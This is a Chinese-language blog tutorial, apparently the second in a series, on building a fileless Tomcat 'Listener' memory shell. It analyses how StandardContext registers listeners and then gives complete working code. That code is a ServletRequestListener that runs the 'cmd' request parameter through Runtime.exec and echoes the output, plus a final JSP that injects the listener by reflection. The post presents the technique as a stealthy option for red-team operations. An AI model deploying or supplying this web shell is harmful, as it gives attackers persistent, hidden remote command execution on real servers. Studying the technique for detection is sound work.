0x00 前言

内存马已不是什么新技术了,现在hw基本都倾向于上内存马,因为可以更加的隐蔽。

在今年四月份的时候写了关于 Filter 内存马的文章: http://wjlshare.com/archives/1529

但是在那之后就没有后续了,内存马还有 Listener、Servlet、agent ,所以本文就来介绍一下同样使用的也比较多的 Listener 内存马

Ps:很多Tomcat相关原理都在上一篇文章中介绍了所以这篇文章就不再重复赘述了

listener 和 filter 内存马的原理都是非常相似的,所以本文尝试不参考任何资料(除了官方文档)来进行payload 的构造,主要是因为网上Tomcat的内存马是占大多数的但是只要切换中间件那么相关文章就会少很多,但是思路是通用的,这样在编写其他中间件的内存马的时候也会有帮助

所以如果错误还望师傅们指正

0x01 分析

学过 Filter 内存马的肯定都知道,内存马的实现其实就是动态注册一个 Filter/Servlet/Listener 然后在其中编写恶意方法,那么就能起到文件不落地并执行命令的目的

所以在编写 Listener 内存马 Payload 的时候我们首先需要捋清楚 Tomcat 中 Listener 的注册流程

最直观的方式就是编写一个 Listener 然后通过断点去分析注册流程

我这里简单的创建了一个 Servlet 的项目

Tomcat 内存马 (二)Listener 内存马 - 图1

HelloServlet:

  1. import javax.servlet.ServletException;
  2. import javax.servlet.http.HttpServlet;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.IOException;
  6. public class HelloServlet extends HttpServlet {
  7. @Override
  8. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  9. resp.getWriter().write("hello");
  10. }
  11. @Override
  12. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  13. super.doPost(req, resp);
  14. }
  15. }

恶意 Listener 构造

接下来编写一个 Listener,Listener 顾名思义就是监听器,他能够监听一些事件从而来达到一些效果。

要实现一个 Listener 必须实现 EventListener 接口

Tomcat 内存马 (二)Listener 内存马 - 图2

可以看到有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener

Tomcat 内存马 (二)Listener 内存马 - 图3

这里我找到了 ServletRequestListener ,因为根据名字以及其中的 requestInitialized 方法感觉我们的发送的每个请求都会触发这个监控器

Tomcat 内存马 (二)Listener 内存马 - 图4

有了猜想之后就可以先开始实践了,编写一个简单的 demo 来进行测试

Tomcat 内存马 (二)Listener 内存马 - 图5

public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("DONE!!!");
    }
}

测试发现我们每次请求都会触发这个 Listener 也就验证了我们的猜想

Tomcat 内存马 (二)Listener 内存马 - 图6

所以在找到了适合的 Listener 之后,我们就可以在其基础上进行内存马的编写,所以接下来我们只需要解决以下两个问题就可以了

  1. 恶意代码写在哪里?
  2. Tomcat 中的 Listener 是如何实现注册的?

恶意代码编写位置其实已经很明了了,也就是之前 System.out.println("DONE!!!"); 的地方了

与之前的 Filter 不同,在 doFilter 方法中参数中就含有 servletRequest 和 servletResponse

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

而在 Listener 这里提供了 ServletRequestEvent 类型的参数,从名字可推测出为 Servlet请求事件

 @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("DONE!!!");
    }

我们既然要做内存马所以就必须要获取到发送过来的请求,然后从请求中获取我们要执行的命令然后利用 Runtime 来进行执行,例如:https://www.xxxx.com/demo?cmd=ls 这里面 cmd 参数的值,所以我们需要寻找 sre 的一个方法来获取到请求

通过 IDEA 的派生我们可以快速找到 getServletRequest 方法

Tomcat 内存马 (二)Listener 内存马 - 图7

简单的查看一下这个方法 ,可以看到该方法返回的是 ServletRequest 接口的实现类,那么具体是哪个实现类呢,我们直接调试一下就知道了

Tomcat 内存马 (二)Listener 内存马 - 图8

可以看到返回的类为 org.apache.catalina.connector.RequestFacade ,查看该类源码

Tomcat 内存马 (二)Listener 内存马 - 图9

发现该类的 request 属性中就有这我们需要的 Request ,那么这样就很简单了,我们直接反射获取就可以了

Tomcat 内存马 (二)Listener 内存马 - 图10

        org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
        try {
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            System.out.println(request);
        }catch (Exception e){
            e.printStackTrace();
        }

可以看到成功输出了我们想要的东西

Tomcat 内存马 (二)Listener 内存马 - 图11

得到了 Request 之后接下来就很简单了 ,把获取的参数值作为我们的 Runtime 的参数就可以了

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

命令结果成功回显

Tomcat 内存马 (二)Listener 内存马 - 图12

至此我们的恶意 Listener 就构造好了,接下来就是去分析 Tomcat 中 Listener 的注册逻辑了

public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

Tomcat Listener 注册流程

listenerStart()

在构造好了 Listener 之后我们只需要捋清楚注册流程我们就能动态注册了,Tomcat 中 Listener 的注册流程比 Filter 要简单太多了

Listener 既然要被注册进去并使用,那么期间肯定会实例化,所以我在 class 部分和命令执行部分打了断点

Tomcat 内存马 (二)Listener 内存马 - 图13

顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart 方法

可看到在我红框框出来的地方进行了实例化,然后这里的 listener 为 String 类型,猜测这里是根据名字来进行实例化的

String listener = listeners[i];
results[i] = this.getInstanceManager().newInstance(listener);

Tomcat 内存马 (二)Listener 内存马 - 图14

所以我们来仔细看一个 StandardContext#listenerStart 函数,上文提到 listener 那么我们就需要去看一下 listener 是从哪里来的

可以看到是 listeners 是 findApplicationListeners 方法的返回值

Tomcat 内存马 (二)Listener 内存马 - 图15

而 findApplicationListeners 函数就是获取 applicationListeners 属性的,而 applicationListeners 数组中存放的就是我们 Listener 的名字

Tomcat 内存马 (二)Listener 内存马 - 图16

所以我们现在可以知道有这样一个流程:

  1. 我们的 Listener 的名字被存放在 applicationListeners 数组中 (名字是从 web.xml 中添加进来的感兴趣的师傅可以自己跟一下)
  2. findApplicationListeners 函数取出内容并进行实例化,并存到 result 中

继续往下看,首先遍历了 results 数组,然后在 for 循环中根据不同类型的 Listener 添加到了不同的数组中,这里我们的 ServletListener 属于第一个判断,所以被添加到了 eventListeners 数组中

Tomcat 内存马 (二)Listener 内存马 - 图17

接下来调用 getApplicationEventListeners 函数来获取 applicationEventListenersList 属性(即已注册的 Listener)

Tomcat 内存马 (二)Listener 内存马 - 图18

然后调用 setApplicationEventListeners 来进行设置 ,可以看到在函数中首先会清空 applicationEventListenersList ,所以这就解释了为什么上面要重新取出来赋值,然后将获取到的数组全部进行传入

Tomcat 内存马 (二)Listener 内存马 - 图19

看到 applicationEventListenersList 数组,可以看到是 List<Object> 所以这里面存放的都是实例化后的 listener

Tomcat 内存马 (二)Listener 内存马 - 图20

至此 listenerStart 函数的主要部分就介绍完毕了

fireRequestInitEvent()

在前面的函数部分我们知道了 listenerStart() 将我们的 Listener 实例化添加到了 applicationEventListenersList 中,那么只存进去是不可能触发的,我们的 Listener 需要触发肯定需要一个函数点来调用

所以从第二个断点的堆栈往上看

Tomcat 内存马 (二)Listener 内存马 - 图21

看到调用了 listener.requestInitialized(event); 而这个 listener 就是我们的恶意 Listener 实例,可以看到是通过遍历 instances 数组,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值

Tomcat 内存马 (二)Listener 内存马 - 图22

看到这儿是不是很熟悉了~ 没错就是上面那个函数将实例添加进去的地方

Tomcat 内存马 (二)Listener 内存马 - 图23

所以我们的内存马只需要添加到这个数组里面就可以了

最终构造

我们先调用 getApplicationEventListeners 将 applicationEventListenersList 取出来,然后将我们构造好的恶意 listener 添加进去就可以了

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

由于方法都在 StandardContext 中,所以我们需要先获取 StandardContext 对象,这个在之前有介绍过就不多赘述了

    ServletContext servletContext =  request.getServletContext(); 
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

至此一个简单的 Listener 内存马就构造完毕了

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

%>

ps:为了方便测试所以我放在 jsp 里了,jsp 和 java 差异也就是多一些内置的对象例如 request & response 这些,所以如果要 java 的话 在前面添加获取 request 和 response 的代码就行了,然后编译成 class 进行字节码加载就ok了